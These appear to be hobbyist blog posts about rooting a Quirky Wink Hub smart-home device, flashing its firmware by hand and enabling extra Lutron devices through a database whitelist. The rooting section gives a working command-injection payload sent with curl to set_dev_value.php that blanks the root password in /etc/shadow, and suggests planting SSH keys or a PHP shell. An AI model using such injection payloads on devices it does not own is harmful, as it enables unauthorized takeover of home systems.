Manually Updating the Wink Hub

Let’s take a look at the steps required to manually install a firmware update to the Wink Hub.

The update works by booting into a separate linux image located on different flash partitions so that it can then download new images and flash them to the main application partitions.

So to update manually we are going to do the same thing, but first we need to root the updater before we boot into it.

Let’s mount the rootfs of the updater to /tmp/updater:

ubiattach -p /dev/mtd2
mkdir /tmp/updater
mount -t ubifs ubi2:rootfs /tmp/updater

We need to remove the root password on this image like before, copy over our ssh key, and remove the S99local script that runs the update process from /etc/init.d. Also make sure we have our wifi configuration saved properly to the database (see original root post). We may also want to save copies of other files we have modified such as from /var/www. For insurance let’s also unlock the bootloader:

fw_setenv bootdelay 5

The bootloader parameters are sometimes restored to defaults so we should also edit /database_default/u-boot.env here and each time we update the app-rootfs.

Once we are ready to boot over we can do:

echo "1" > /database/DO_UPDATE

Then we are ready to reboot.

Once we are booted into the updater image we can follow the example of the /root/platform/upgrade.sh script to manually download and flash the updates. So far only the application rootfs has been updated and can be downloaded from:

https://wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi

At this time the update is small enough that we can download it to /tmp and flash it using:

ubiformat /dev/mtd5 -f /tmp/app-rootfs.ubi

After they are in place, we will need to root again using the same process outlined above (except we are working with /dev/mtd5 now). Also pay attention to any changes that may be present in the update such as disabling the UART login (/etc/inittab), not starting dropbear, etc… And we should modify the S31platform script and block the cloud addresses again as we did in the original root post.

Once we are ready to boot back into the application we can do:

echo "0" > /database/DO_UPDATE

And reboot, fingers crossed.

PS – Let’s say we want to take a look at the rootfs before we update. To do so on a linux desktop, we can download the ubi image and:

modprobe mtdblock
modprobe ubi
modprobe nandsim first_id_byte=0x01 second_id_byte=0xf1 third_id_byte=0x00 fourth_id_byte=0x1d
dd if=app-rootfs.ubi of=/dev/mtdblock0 bs=2048
ubiattach /dev/ubi_ctrl -m 0 -O 2048
mkdir /media/ubifs
mount -t ubifs ubi0_0 /media/ubifs


The above assumes you have no other mtdblock devices on your system. It also simulates the actual flash chip used in the device which is larger than necessary for just playing with the rootfs.

Wink & Lutron

So as we know the Wink Hub supports Lutron Caseta devices.  That’s cool, but Lutron makes a lot of other automation devices.  It’s sad we can’t use some of them…

So let’s take a look around in the Lutron database located in /database/lutron-db.sqlite

If we look at the DeviceInfo table, we can see that there are 35 device types listed including many of the RadioRa2 devices, other types of shades, and more…  what’s a Super Pico?

Next, we see there is a table called SupportedDevices.  What’s this, a WHITELIST?!  And only 13 out of the 35 possible devices on it!?

Well, let’s find out.  First we try to add an RRD-6D dimmer using

aprontest -a -r lutron

Nothing happens.

Now let’s go back into the database and insert the DeviceInfoID for RRD-6D (which is 1) into the SupportedDevices table.  Reboot to adopt the changes.

So once again, …

aprontest -a -r lutron

Hold down the button on the RRD-6D and what do you know…. we have an RRD-6D dimmer paired to our wink hub.  It shows one attribute, level, and works just like we’d expect.

Well that is very promising.  We may be able to add keypads, aux repeaters, relay modules, etc…  with our modified whitelist.  Of course they aren’t exactly the cheapest devices to get a hold of and we may run into limitations since the software could be lacking for certain aspects of these unsupported devices, but can’t win ’em all.

What else do we see in the Lutron database?

Essentially, the Lutron subsystem inside the Wink Hub appears to be more or less a Caseta Smart Bridge (Pro) running on shared hardware.  And of course it is easy to guess what the difference between the Pro and standard Smart Bridge is (*cough*whitelist*cough*).  The Caseta Smart Bridge, then, appears to be based on the Clear Connect Gateway which Lutron makes for AMX and explains why all those RA2 devices descriptions exist in the database.

Another interesting table is BusinessRules.  Inside we find properties MaxNumberOfDevices 50 and MaxNumberOfRepeaters 1.  So maybe these could come in handy if we build a large network of Lutron devices assuming we don’t run into other memory constraints.

Until next time…
 

Rooting The Quirky Wink Hub

As you may know, the Quirky Wink Hub is an affordable Home Automation device containing the following radios:  WiFi, Bluetooth, ZigBee, Z-Wave, Lutron, and Kidde.  It operates using the Wink app and connecting through a cloud server.  It is sold at Home Depot and Amazon.

Well, that’s good but what if we want to take matters into our own hands?  The device is a nice little Freescale i.MX283 based Linux box that we can have some fun with, especially with all the radio support.

Luckily, the enterprising crew at GTVHacker has discovered a nice exploit that makes rooting this hardware quite easy: http://dc22.gtvhacker.com/index.php/Wink_Hub%E2%80%8B%E2%80%8B

This is briefly discussed at:  http://hackaday.com/2014/08/09/defcon-22-hack-all-the-things/

Unfortunately this is patched in the most recent update.  The set_dev_value.php file has been removed.  So be sure to do this before you have connected the hub to the internet.

But what about a how-to?

Let’s get to it:

Plug in your Quirky Wink Hub and connect to the default WiFi AP that it creates.

Using cURL or similar, send the following command to the lighttpd server to remove the root password:

curl "http://192.168.0.1/set_dev_value.php" -d "nodeId=a&attrId=;cp /etc/shadow /etc/shadow.bak;sed -i 's/root:.*:\(.*:.*:.*:.*:::\)/root::\1/' /etc/shadow;cat /etc/shadow;"

We should be able to access the shell now through the UART using a 3.3V TTL adapter.

If we don’t have the hardware to do that, there is another option.  You can use the tftp command to bring over a replacement rsa key file for dropbear which runs on the device by default or use another cURL command to append your public rsa key to the /root/.ssh/authorized_keys file.  Then you can access the device through SSH.  Or you can create a new php file to preserve the shell command access through the web server.

Now that we have access to the device, we can notice that there is a web interface available by default at /devices.php.  This allows us to view and control the home automation devices linked to the hub.  However the control part does not work since a file has been removed.  We can restore that function by editing the /var/www/set_dev_value.php file as follows:

$cmd = 'aprontest -u -m ' . $nodeId . ' -t ' . $attrId . ' -v ' . $v;

So we have a fully functional web interface to view and control the status of our connected devices.  We can use this as an API.

To add devices, we can do so using the aprontest binary which prints some nice help instructions when run with no arguments.

If we want to block the cloud connections and updates we can add the following entries to the hosts file:

127.0.0.1       hub-api.winkapp.com
127.0.0.1       hub-updates.winkapp.com
127.0.0.1       wink-hub-images.s3.amazonaws.com

Finally, we want to connect the hub as a client to our own WiFi network.  We can do so by POSTing the WiFi network information to the web server on the hub as follows:

curl "http://192.168.0.1/index.php" -d '{"ssid":"my_ssid","pass":"my_wifi_password"}'

As you can see the network parameters are just JSON encoded.

For some reason, these settings don’t seem to be saved to the database and persist through a reboot.  Possibly because we did not create a user account with a valid token.  So we can

cp /database/wpa_supplicant.conf /etc/

Then we can edit the /etc/init.d/S41wireless file to reflect the new location of wpa_supplicant.conf.

We can prevent these settings from being deleted if we have not created a wink account by doing:

touch /database/oauth

No, apparently the oauth file gets deleted if it is invalid so we need to edit /etc/init.d/S31platform to prevent it from deleting our wpa_supplicant.conf file.

Well, we should have a nice Quirky Wink Hub completely under our control now and ready to serve us faithfully without help from the cloud.